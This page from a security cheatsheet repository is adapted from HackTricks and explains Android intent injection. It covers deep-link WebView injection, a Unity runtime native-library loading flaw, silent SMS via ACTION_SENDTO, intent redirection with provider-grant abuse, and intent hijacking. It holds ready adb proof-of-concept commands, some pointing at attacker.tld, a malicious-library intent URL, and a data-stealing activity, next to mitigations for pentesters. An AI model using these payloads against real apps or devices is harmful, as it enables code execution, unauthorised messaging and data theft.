daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

intent-injection.md (30824B)


      1 ---
      2 title: "Intent Injection"
      3 section: "Mobile"
      4 sectionSlug: "mobile-pentesting"
      5 sourcePath: "src/mobile-pentesting/android-app-pentesting/intent-injection.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/intent-injection.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Intent Injection
     14 
     15 Intent injection abuses components that accept attacker-controlled Intents or data that is later converted into Intents. Two very common patterns during Android app pentests are:
     16 
     17 - Passing crafted extras to exported Activities/Services/BroadcastReceivers that are later forwarded to privileged, non-exported components.
     18 - Triggering exported VIEW/BROWSABLE deep links that forward attacker-controlled URLs into internal WebViews or other sensitive sinks.
     19 
     20 ## Deep links → WebView sink (URL parameter injection)
     21 
     22 If an app exposes a custom scheme deep link such as:
     23 
     24 ```text
     25 myscheme://com.example.app/web?url=<attacker_url>
     26 ```
     27 
     28 and the receiving Activity forwards the `url` query parameter into a WebView, you can force the app to render arbitrary remote content in its own WebView context.<sup>[[2]](#references)[[3]](#references)[[4]](#references)</sup>
     29 
     30 PoC via adb:
     31 
     32 ```bash
     33 # Implicit VIEW intent
     34 adb shell am start -a android.intent.action.VIEW \
     35   -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
     36 
     37 # Or explicitly target an Activity
     38 adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
     39   -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
     40 ```
     41 
     42 Impact
     43 - HTML/JS executes inside the app’s WebView profile.
     44 - If JavaScript is enabled (by default or due to misordered checks), you can enumerate/use any exposed `@JavascriptInterface` objects, steal WebView cookies/local storage, and pivot.
     45 
     46 See also:
     47 
     48 [Webview Attacks](/hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks)
     49 
     50 ## Order-of-checks bug enabling JavaScript
     51 
     52 A recurring bug is enabling JavaScript (or other permissive WebView settings) before the final URL allowlist/verification finishes. If early helpers accept your deep link and the WebView is configured first, your final load happens with JavaScript already enabled even if later checks are flawed or too late.<sup>[[2]](#references)[[3]](#references)[[4]](#references)</sup>
     53 
     54 What to look for in decompiled code:
     55 - Multiple helpers that parse/split/rebuild the URL differently (inconsistent normalization).
     56 - Calls to `getSettings().setJavaScriptEnabled(true)` before the last host/path allowlist check.
     57 - A pipeline like: parse → partial validate → configure WebView → final verify → loadUrl.
     58 
     59 
     60 ## Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)
     61 
     62 Unity-based Android apps typically use `com.unity3d.player.UnityPlayerActivity` (or `UnityPlayerGameActivity`) as the entry Activity. Unity’s Android template treats a special Intent extra named `unity` as a string of command-line flags for the Unity runtime. When the entry Activity is exported (default in many templates), any local app – and sometimes a website if `BROWSABLE` is present – can supply this extra.<sup>[[22]](#references)[[23]](#references)</sup>
     63 
     64 A dangerous, undocumented flag leads to native code execution during very early process initialization:<sup>[[30]](#references)</sup>
     65 
     66 - Hidden flag: `-xrsdk-pre-init-library <absolute-path>`
     67 - Effect: `dlopen(<absolute-path>, RTLD_NOW)` very early in init, loading attacker-controlled ELF inside the target app’s process with its UID and permissions.<sup>[[22]](#references)</sup>
     68 
     69 Reverse-engineering excerpt (simplified):
     70 ```c
     71 // lookup the arg value
     72 initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
     73 // load arbitrary native library early
     74 lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
     75 ```
     76 
     77 Why it works
     78 - The Intent extra `unity` is parsed into Unity runtime flags.
     79 - Supplying the pre-init flag points Unity at an attacker-controlled ELF path within an allowed linker namespace path (see constraints below).
     80 
     81 Conditions for exploitation
     82 - The Unity entry Activity is exported (commonly true by default).
     83 - For one-click remote via browser: the entry Activity also declares `android.intent.category.BROWSABLE` so extras can be passed from an `intent:` URL.
     84 
     85 Local exploitation (same device)
     86 1) Place a payload ELF at a path readable by the victim app. Easiest: ship a malicious library in your own attacker app and ensure it is extracted under `/data/app/.../lib/<abi>/` by setting in the attacker’s manifest:
     87 ```xml
     88 <application android:extractNativeLibs="true" ...>
     89 ```
     90 2) Launch the victim’s Unity activity with the CLI pre-init flag in the `unity` extra. Example ADB PoC:
     91 ```bash
     92 adb shell am start \
     93   -n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
     94   -e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
     95 ```
     96 3) Unity calls `dlopen("/data/.../libpayload.so", RTLD_NOW)`; your payload runs in the victim process, inheriting all its app permissions (camera/mic/network/storage, etc.) and access to in-app sessions/data.
     97 
     98 Notes
     99 - The exact `/data/app/...` path varies across devices/installs. An attacker app can retrieve its own native lib dir at runtime via `getApplicationInfo().nativeLibraryDir` and communicate it to the trigger.
    100 - The file need not end with `.so` if it is a valid ELF – `dlopen()` cares about ELF headers, not extensions.
    101 
    102 Remote one‑click via browser (conditional)
    103 If the Unity entry activity is exported with `BROWSABLE`, a website can pass extras via an `intent:` URL:
    104 ```text
    105 intent:#Intent;package=com.example.unitygame;scheme=whatever;\
    106 S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
    107 ```
    108 However, on modern Android the dynamic linker namespaces and SELinux block loading from many public paths (e.g., `/sdcard/Download`). You’ll see errors like:
    109 ```text
    110 library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
    111 or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
    112 namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
    113 ```
    114 Bypass strategy: target apps that cache attacker-controlled bytes under their private storage (e.g., HTTP caches). Because permitted paths include `/data` and the app’s private dir, pointing `-xrsdk-pre-init-library` at an absolute path inside the app’s cache can satisfy linker constraints and yield code execution.<sup>[[22]](#references)</sup> This mirrors prior cache-to-ELF RCE patterns experienced in other Android apps.<sup>[[24]](#references)</sup>
    115 
    116 
    117 ## Confused‑Deputy: Silent SMS/MMS via ACTION_SENDTO (Wear OS Google Messages)
    118 
    119 Some default messaging apps incorrectly auto‑execute implicit messaging intents, turning them into a confused‑deputy primitive: any unprivileged app can trigger `Intent.ACTION_SENDTO` with `sms:`, `smsto:`, `mms:`, or `mmsto:` and cause an immediate send without a confirmation UI and without the `SEND_SMS` permission.<sup>[[25]](#references)[[27]](#references)</sup>
    120 
    121 Key points
    122 - Trigger: implicit `ACTION_SENDTO` + messaging URI scheme.
    123 - Data: set recipient in the URI, message text in the `"sms_body"` extra.
    124 - Permissions: none (no `SEND_SMS`), relies on the default SMS/MMS handler.
    125 - Observed: Google Messages for Wear OS (patched May 2025). Other handlers should be assessed similarly.<sup>[[25]](#references)</sup>
    126 
    127 Minimal payload (Kotlin)<sup>[[25]](#references)</sup>
    128 ```kotlin
    129 val intent = Intent(Intent.ACTION_SENDTO).apply {
    130     data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
    131     putExtra("sms_body", "Hi from PoC")
    132     // From a non-Activity context add NEW_TASK
    133     addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
    134 }
    135 startActivity(intent)
    136 ```
    137 
    138 ADB PoC (no special permissions)<sup>[[26]](#references)</sup>
    139 ```bash
    140 # SMS/SMS-to
    141 adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
    142 adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"
    143 
    144 # MMS/MMS-to (handler-dependent behaviour)
    145 adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
    146 adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"
    147 ```
    148 
    149 Attack surface expansion (Wear OS)
    150 - Any component capable of launching activities can fire the same payload: Activities, foreground Services (with `FLAG_ACTIVITY_NEW_TASK`), Tiles, Complications.<sup>[[25]](#references)</sup>
    151 - If the default handler auto‑sends, abuse can be one‑tap or fully silent from background contexts depending on OEM policies.
    152 
    153 Pentest checklist
    154 - Resolve `ACTION_SENDTO` on target to identify the default handler; verify whether it shows a compose UI or silently sends.
    155 - Exercise all four schemes (`sms:`, `smsto:`, `mms:`, `mmsto:`) and extras (`sms_body`, optionally `subject` for MMS) to check behaviour differences.
    156 - Consider charged destinations/premium‑rate numbers when testing on real devices.
    157 
    158 
    159 ## Other classic Intent injection primitives
    160 
    161 - startActivity/sendBroadcast using attacker-supplied `Intent` extras that are later re-parsed (`Intent.parseUri(...)`) and executed.
    162 - Exported proxy components that forward Intents to non-exported sensitive components without permission checks.<sup>[[1]](#references)</sup>
    163 
    164 ---
    165 
    166 ## Automating exported-component testing (Smali-driven ADB generation)
    167 
    168 When exported components expect specific extras, guessing payload shape causes time waste and false negatives. You can automate discovery of keys/types directly from Smali and emit ready-to-run adb commands.<sup>[[5]](#references)[[6]](#references)</sup>
    169 
    170 Tool: APK Components Inspector
    171 - Repo: https://github.com/thecybersandeep/apk-components-inspector<sup>[[6]](#references)</sup>
    172 - Approach: decompile and scan Smali for calls like `getStringExtra("key")`, `getIntExtra("id", ...)`, `getParcelableExtra("redirect_intent")`, `getSerializableExtra(...)`, `getBooleanExtra(...)`, `getAction()`, `getData()` to infer which extras and fields are consumed by each component.
    173 - Output: for every exported Activity/Service/Receiver/Provider, the tool prints a short explanation and the exact `adb shell am ...`/`cmd content ...` command with correctly typed flags.
    174 
    175 Install
    176 ```bash
    177 git clone https://github.com/thecybersandeep/apk-components-inspector
    178 cd apk-components-inspector
    179 python3 -m venv venv && source venv/bin/activate
    180 pip install androguard==3.3.5 rich
    181 ```
    182 
    183 Usage
    184 ```bash
    185 python apk-components-inspector.py target.apk
    186 ```
    187 Example output
    188 ```bash
    189 adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
    190 adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
    191 adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
    192 adb shell cmd content query --uri content://com.target.provider/items
    193 ```
    194 
    195 ADB am extras cheat sheet (type-aware flags)
    196 - Strings: `--es key value` | String array: `--esa key v1,v2`
    197 - Integers: `--ei key 123` | Int array: `--eia key 1,2,3`
    198 - Booleans: `--ez key true|false`
    199 - Longs: `--el key 1234567890`
    200 - Floats: `--ef key 1.23`
    201 - URIs (extra): `--eu key content://...` | Data URI (Intent data): `-d content://...`
    202 - Component extra: `--ecn key com.pkg/.Cls`
    203 - Null string extra: `--esn key`
    204 - Common flags: `-a <ACTION>` `-c <CATEGORY>` `-t <MIME>` `-f <FLAGS>` `--activity-clear-task --activity-new-task`
    205 
    206 Pro tips for Providers
    207 - Use `adb shell cmd content query|insert|update|delete ...` to hit ContentProviders without agents.
    208 - For SQLi probing, vary `--projection` and `--where` (aka selection) when the underlying provider is SQLite-backed.
    209 
    210 Full-pipeline automation (interactive executor)
    211 ```bash
    212 # generate and capture commands then execute them one by one interactively
    213 python apk-components-inspector.py app.apk | tee adbcommands.txt
    214 python run_adb_commands.py
    215 ```
    216 <details>
    217 <summary>Helper script to parse and execute adb commands</summary>
    218 
    219 ```python
    220 import subprocess
    221 
    222 def parse_adb_commands(file_path):
    223     with open(file_path, 'r') as file:
    224         lines = file.readlines()
    225     commands = []
    226     current = []
    227     for line in lines:
    228         s = line.strip()
    229         if s.startswith("adb "):
    230             current = [s]
    231         elif s.startswith("#") or not s:
    232             if current:
    233                 full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
    234                 commands.append(full)
    235                 current = []
    236         elif current:
    237             current.append(s)
    238     if current:
    239         full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
    240         commands.append(full)
    241     return commands
    242 
    243 for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
    244     print(f"\nCommand {i}: {cmd}")
    245     input("Press Enter to execute this command...")
    246     try:
    247         r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
    248         print("Output:\n", r.stdout)
    249         if r.stderr:
    250             print("Errors:\n", r.stderr)
    251     except subprocess.CalledProcessError as e:
    252         print(f"Command failed with error:\n{e.stderr}")
    253 ```
    254 
    255 </details>
    256 
    257 Run on-device: the inspector is Python-based and works in Termux or rooted phones where `apktool`/`androguard` are available.
    258 
    259 ---
    260 
    261 ## Intent Redirection (CWE-926) – finding and exploiting
    262 
    263 Pattern
    264 - An exported entry point (Activity/Service/Receiver) reads an incoming Intent and forwards it internally or externally without validating source/data, e.g.:
    265   - `startActivity(getIntent())`
    266   - `startActivity(intent)` where `intent` came from an extra like `redirect_intent`/`next_intent`/`pending_intent` or `Intent.parseUri(...)`.
    267   - Trusting `action`/`data`/`component` fields without checks; not verifying caller identity.<sup>[[7]](#references)[[8]](#references)[[9]](#references)[[10]](#references)</sup>
    268 
    269 What to search in Smali/Java
    270 - Uses of `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
    271 - Direct `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` on attacker-influenced Intents.
    272 - Lack of `getCallingPackage()`/`getCallingActivity()` checks or custom permission gates.
    273 
    274 ADB PoC templates
    275 - Proxy Activity forwarding an extra Intent to a privileged internal Activity:
    276 ```bash
    277 adb shell am start -n com.target/.ProxyActivity \
    278   --es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
    279 ```
    280 - Exported Service that honors a `redirect_intent` parcelable:
    281 ```bash
    282 adb shell am startservice -n com.target/.ExportedService \
    283   --es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
    284 ```
    285 - Exported Receiver that relays without validation:
    286 ```bash
    287 adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
    288   --es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
    289 ```
    290 Flags helpful for singleTask-style behavior
    291 ```bash
    292 # Ensure a fresh task when testing Activities that check task/intent flags
    293 adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
    294 ```
    295 
    296 ### Exported SDK proxy activity + `Intent.parseUri(..., URI_ALLOW_UNSAFE)` + provider grant abuse
    297 
    298 A high-impact variant appears when a **third-party SDK adds an exported proxy Activity** in the **merged manifest** and that Activity turns attacker-controlled input into a new `Intent` that the victim app launches.<sup>[[21]](#references)</sup>
    299 
    300 Common flow:
    301 - Malicious app explicitly starts an **exported** Activity added by an SDK.
    302 - The Activity reads an attacker-controlled extra/data field, sometimes wrapping it in JSON first.
    303 - A field like `intent_uri` / `redirect_intent` / `n_intent_uri` is passed into `Intent.parseUri(...)`.
    304 - The parsed result is later executed with `startActivity(...)`, `startService(...)`, or `sendBroadcast(...)` **under the victim app UID/permissions**.
    305 
    306 High-risk indicators during review:
    307 - SDK-added components visible only in the **merged** `AndroidManifest.xml`.
    308 - `Intent.parseUri(untrusted, Intent.URI_ALLOW_UNSAFE)` on user-controlled strings.
    309 - Code that appears to sanitize the parsed `Intent` (`setComponent(null)`, action checks, etc.) but **returns or launches a different explicit Intent**.
    310 - Provider-related flags surviving the parse/forward chain:
    311   - `FLAG_GRANT_READ_URI_PERMISSION`
    312   - `FLAG_GRANT_WRITE_URI_PERMISSION`
    313   - `FLAG_GRANT_PERSISTABLE_URI_PERMISSION`
    314 
    315 Why this matters
    316 - This is not only a generic redirect to another exported component. If the forwarded `Intent` points to a `content://` URI, the victim app can become the **confused deputy** that grants provider access on behalf of the attacker.
    317 - With `URI_ALLOW_UNSAFE`, attacker-controlled `intent:` strings can preserve grant flags during parsing. If the target flow later accepts/takes the grant, the attacker may obtain **persistent** read/write access until the victim revokes it.<sup>[[19]](#references)[[20]](#references)</sup>
    318 - In practice this can expose data reachable through providers that rely on the victim app identity or transient URI grants, including app-private files surfaced through `FileProvider`-style paths.
    319 
    320 What to look for in code / Smali
    321 - Exported Activity/Receiver/Service calling:
    322   - `Intent.parseUri(...)`
    323   - `startActivity(...)` / `startService(...)` / `sendBroadcast(...)`
    324   - `setFlags(...)`, `addFlags(...)`, `getFlags()`
    325   - `setComponent(null)` or `setPackage(null)` on one object while another `Intent` is actually returned/launched
    326 - Parse-and-forward chains such as:
    327   - incoming extra → JSON object → `intentUri` field → `Intent.parseUri(...)` → launch
    328   - deep link / push payload / notification payload → helper method → explicit internal launch
    329 - Manifest-merging surprises from dependencies:
    330 ```bash
    331 # Inspect final exported components, not only the source manifest
    332 apkanalyzer manifest print app.apk | grep -n -A4 -B2 'exported'
    333 ```
    334 
    335 ADB testing ideas
    336 ```bash
    337 # 1. Reach the exported proxy component directly
    338 adb shell am start -n com.victim/.SdkProxyActivity \
    339   --es payload '{"n_intent_uri":"intent:#Intent;action=android.intent.action.VIEW;S.browser_fallback_url=https://attacker.tld;end"}'
    340 
    341 # 2. Test whether the app reparses an intent URI and launches an explicit internal target
    342 adb shell am start -n com.victim/.SdkProxyActivity \
    343   --es payload '{"n_intent_uri":"intent:#Intent;component=com.victim/.SensitiveActivity;end"}'
    344 
    345 # 3. Probe provider-grant behaviour with content:// targets and grant flags
    346 adb shell am start -n com.victim/.SdkProxyActivity \
    347   --es payload '{"n_intent_uri":"intent:#Intent;action=android.intent.action.VIEW;data=content://com.victim.fileprovider/root/secret.xml;launchFlags=0x43;end"}'
    348 ```
    349 
    350 Notes
    351 - `0x43` is a compact test value for `FLAG_GRANT_READ_URI_PERMISSION` (`0x1`), `FLAG_GRANT_WRITE_URI_PERMISSION` (`0x2`), and `FLAG_GRANT_PERSISTABLE_URI_PERMISSION` (`0x40`).
    352 - Exact extra names differ by app/SDK. During reversing, grep for `getStringExtra`, JSON field names, and helper methods that rebuild `Intent` objects from strings.
    353 - If the vulnerable component comes from a dependency, always inspect the **merged manifest** generated after Gradle manifest merge, not only the developer-authored source manifest.
    354 
    355 Real-world examples (impact varies):
    356 - CVE-2024-26131 (Element Android): exported flows leading to WebView manipulation, PIN bypass, login hijack.<sup>[[11]](#references)</sup>
    357 - CVE-2023-44121 (LG ThinQ Service): exported receiver action `com.lge.lms.things.notification.ACTION` → system-level effects.<sup>[[12]](#references)</sup>
    358 - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → arbitrary file access (w/ user interaction).<sup>[[13]](#references)</sup>
    359 - CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.<sup>[[14]](#references)</sup>
    360 - CVE-2021-4438 (React Native SMS User Consent).<sup>[[15]](#references)</sup>
    361 - CVE-2020-14116 (Xiaomi Mi Browser).<sup>[[16]](#references)</sup>
    362 
    363 
    364 ---
    365 
    366 ## Intent Hijacking (implicit intents)
    367 
    368 Threat model
    369 - App A expects a sensitive result from App B using an implicit Intent (e.g., an OAuth redirect, a document picker result, an IMAGE_CAPTURE return, or a custom callback action).
    370 - Attacker App C publishes an exported component with a matching `<intent-filter>` for the same `action`/`category`/`data`. When B resolves the implicit Intent, the resolver may present a chooser; if the user picks C (or sets it as default), the payload is delivered to the attacker component instead of A.<sup>[[17]](#references)</sup>
    371 
    372 Minimal PoC manifest (attacker):
    373 ```xml
    374 <activity android:name=".StealActivity" android:exported="true">
    375   <intent-filter>
    376     <action android:name="com.victim.app.ACTION_CALLBACK"/>
    377     <category android:name="android.intent.category.DEFAULT"/>
    378     <!-- Optionally constrain MIME or scheme/host/path to increase match score -->
    379     <!-- <data android:mimeType="application/json"/> -->
    380     <!-- <data android:scheme="myscheme" android:host="callback"/> -->
    381   </intent-filter>
    382 </activity>
    383 ```
    384 Handler skeleton:
    385 ```java
    386 public class StealActivity extends Activity {
    387   @Override protected void onCreate(Bundle b) {
    388     super.onCreate(b);
    389     Intent i = getIntent();
    390     Bundle extras = i.getExtras();
    391     Uri data = i.getData();
    392     // Dump/forward sensitive result
    393     android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
    394     finish();
    395   }
    396 }
    397 ```
    398 
    399 Notes
    400 - Match specificity matters (action + categories + data). The more specific C’s filter is to B’s outgoing Intent, the higher the chance it is shown or auto-selected.
    401 - This also applies to deep links (`VIEW` + `BROWSABLE`) when apps expect another app to handle a URL and return something back.
    402 
    403 Pentest guidance
    404 - Grep the target for `startActivity`/`startActivityForResult`/`registerForActivityResult` calls using non-explicit Intents.
    405 - Inspect Intents carrying tokens in `extras`, `clipData`, or `getData()` and see whether a third-party could register a compatible filter.
    406 - Recommend replacing implicit flows with explicit Intents (set `setPackage()`/`setComponent()`), or requiring caller-permission/signed permissions on exported receivers/services.
    407 
    408 Mitigations
    409 - Prefer explicit Intents for sensitive flows (callbacks, tokens, auth results).
    410 - When cross-app is necessary, add permission requirements to the receiving component and validate caller identity.
    411 - Limit and tighten Intent filters to only what is strictly needed (scheme/host/path/MIME).
    412 
    413 ---
    414 
    415 ## Observing resolver decisions (FLAG_DEBUG_LOG_RESOLUTION)
    416 
    417 When you control the sender, add `Intent.FLAG_DEBUG_LOG_RESOLUTION` to an implicit Intent to make Android log how resolution happens and which component will be selected.<sup>[[17]](#references)[[18]](#references)</sup>
    418 
    419 Example:
    420 ```java
    421 Intent intent = new Intent();
    422 intent.setAction("android.media.action.IMAGE_CAPTURE");
    423 intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
    424 startActivityForResult(intent, 42);
    425 ```
    426 What you’ll see in `adb logcat` is the resolution trace and the final component, e.g. `com.android.camera2/com.android.camera.CaptureActivity`.
    427 
    428 CLI tip
    429 ```bash
    430 # You can also set the debug flag from adb when firing an implicit Intent
    431 # 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
    432 adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008
    433 
    434 # Then inspect the resolution in logs
    435 adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
    436 ```
    437 
    438 This is useful to enumerate candidate handlers on a device/emulator and confirm exactly which component will receive an Intent during testing.
    439 
    440 ---
    441 
    442 ## Runtime intent tracing and replay with Frida (IRIS)
    443 
    444 Static manifest review and one-shot `adb shell am ...` probes miss flows that are only assembled at runtime or that traverse exported proxy components before reaching a sensitive sink. A practical approach is to hook Android's dispatch path inside **`system_server`** with Frida, capture real intent traffic, and then replay the interesting ones.
    445 
    446 **IRIS** ([Intent Runtime Inspection System](https://github.com/Ch0pin/iris)) is a local workflow for this: it attaches to **`system_server`**, records **caller package/process**, **target package/component**, **action**, **data URI**, **scheme/host**, **extras**, **hook stage**, and **dispatch result**, stores the normalized events in **SQLite**, and exposes filtering + replay from a local UI.<sup>[[28]](#references)[[29]](#references)</sup>
    447 
    448 Why this helps during intent testing:
    449 - catch **runtime-only** flows generated after login, QR scans, push notifications, WebViews, or chained proxy components
    450 - identify which package really launched the target component before you try to spoof it
    451 - recover the exact **action/data/extras** shape needed to reproduce a sensitive path
    452 - confirm whether a flow is replayable with plain **`adb`** or if it depends on Android-native **`Bundle`** / **`Parcelable`** values
    453 
    454 Minimal workflow:
    455 
    456 ```bash
    457 # List Frida-visible devices
    458 python3 -m intent_monitor list-devices
    459 
    460 # Capture + serve the local UI
    461 python3 -m intent_monitor --database ./iris.db monitor --device-id <device-id>
    462 
    463 # Review/filter stored events from CLI
    464 python3 -m intent_monitor --database ./iris.db list --target-package com.target.app
    465 python3 -m intent_monitor --database ./iris.db list --action android.intent.action.VIEW
    466 python3 -m intent_monitor --database ./iris.db list --scheme https --host example.com
    467 ```
    468 
    469 Pentest workflow:
    470 1. Drive the victim app normally (login, tap notifications, open QR/deep links, trigger exported receivers/services).
    471 2. Filter for the victim package, `VIEW` actions, unusual callers, or deep-link hosts you control.
    472 3. Replay the captured event and mutate **action/data/extras** to check whether the target component is externally triggerable or trusts caller-controlled values.
    473 4. If replay via normal `adb` loses fidelity because extras are not simple scalars, use the optional helper APK path to rebuild complex **`Bundle`** / **`Parcelable`** payloads on-device before dispatching them.
    474 
    475 This is especially useful for validating:
    476 - exported **proxy Activities/Receivers/Services** that forward inbound intents
    477 - deep-link handlers that derive privileged state from **URI host/path/extras**
    478 - receivers/services that require a very specific extra layout and are painful to brute-force manually
    479 - confused-deputy flows where reproducing the original **caller → target** sequence matters
    480 
    481 Notes:
    482 - IRIS is a **dynamic discovery/replay aid**, not a proof that a component is exported or attacker-reachable by itself; always confirm the final trigger path with manifest/code review and manual `adb`/app-originated replay.
    483 - Service hooks are marked experimental by the tool author and should be enabled only on disposable rooted devices.
    484 
    485 ## References
    486 
    487 - [1] [Android – Access to app-protected components](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
    488 - [2] [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
    489 - [3] [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
    490 - [4] [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
    491 - [5] [Automating Android App Component Testing with New APK Inspector (blog)](https://www.mobile-hacker.com/2025/09/18/automating-android-app-component-testing-with-new-apk-inspector/)
    492 - [6] [APK Components Inspector – GitHub](https://github.com/thecybersandeep/apk-components-inspector)
    493 - [7] [Google guidance on intent redirection](https://support.google.com/faqs/answer/9267555?hl=en)
    494 - [8] [OVAA vulnerable app](https://github.com/oversecured/ovaa)
    495 - [9] [Exported Service PoC APK](https://github.com/nhattm3006/android-poc/blob/main/Exported%20Service/poc.apk)
    496 - [10] [Ostorlab – 100M installs image app deep dive (component summary example)](https://medium.com/@ostorlab/this-article-is-a-technical-deep-dive-showing-how-a-100m-installation-image-application-can-6343ce8ea076)
    497 - [11] [CVE-2024-26131 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-26131)
    498 - [12] [CVE-2023-44121 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2023-44121)
    499 - [13] [CVE-2023-30728 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2023-30728)
    500 - [14] [CVE-2022-36837 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2022-36837)
    501 - [15] [CVE-2021-4438 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2021-4438)
    502 - [16] [CVE-2020-14116 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2020-14116)
    503 - [17] [Android Intents (1/2): how they work, security, and attack examples – Mobeta](https://mobeta.fr/android-intent-hijacking-pentest-mobile/)
    504 - [18] [Android Intent reference](https://developer.android.com/reference/android/content/Intent)
    505 - [19] [Android docs – `URI_ALLOW_UNSAFE`](https://developer.android.com/reference/android/content/Intent#URI_ALLOW_UNSAFE)
    506 - [20] [Android docs – `FLAG_GRANT_PERSISTABLE_URI_PERMISSION`](https://developer.android.com/reference/android/content/Intent#FLAG_GRANT_PERSISTABLE_URI_PERMISSION)
    507 - [21] [Microsoft: Intent redirection vulnerability in third-party SDK exposed millions of Android wallets to potential risk](https://www.microsoft.com/en-us/security/blog/2026/04/09/intent-redirection-vulnerability-third-party-sdk-android/)
    508 - [22] [CVE-2025-59489 – Arbitrary Code Execution in Unity Runtime (blog)](https://flatt.tech/research/posts/arbitrary-code-execution-in-unity-runtime/)
    509 - [23] [Unity docs – Android custom activity command-line](https://docs.unity3d.com/6000.0/Documentation/Manual/android-custom-activity-command-line.html)
    510 - [24] [HEXACON 2024 – Defense through Offense: Messenger one-click cache-based RCE pattern (slides)](https://2024.hexacon.fr/slides/Calvanno-Defense_through_Offense_Building_a_1-click_Exploit_Targeting_Messenger_for_Android.pdf)
    511 - [25] [CVE-2025-12080 — Intent Abuse in Google Messages for Wear OS](https://towerofhanoi.it/writeups/cve-2025-12080/)
    512 - [26] [PoC repo – io-no/CVE-2025-12080](https://github.com/io-no/CVE-Reports/tree/main/CVE-2025-12080)
    513 - [27] [Android docs – Intents and Intent Filters](https://developer.android.com/guide/components/intents-filters)
    514 - [28] [IRIS – Intent Runtime Inspection System](https://github.com/Ch0pin/iris)
    515 - [29] [IRIS usage recording](https://www.youtube.com/watch?v=uU-f2zVZj7U)
    516 - [30] [Unity Security Sept-2025-01 advisory](https://unity.com/security/sept-2025-01)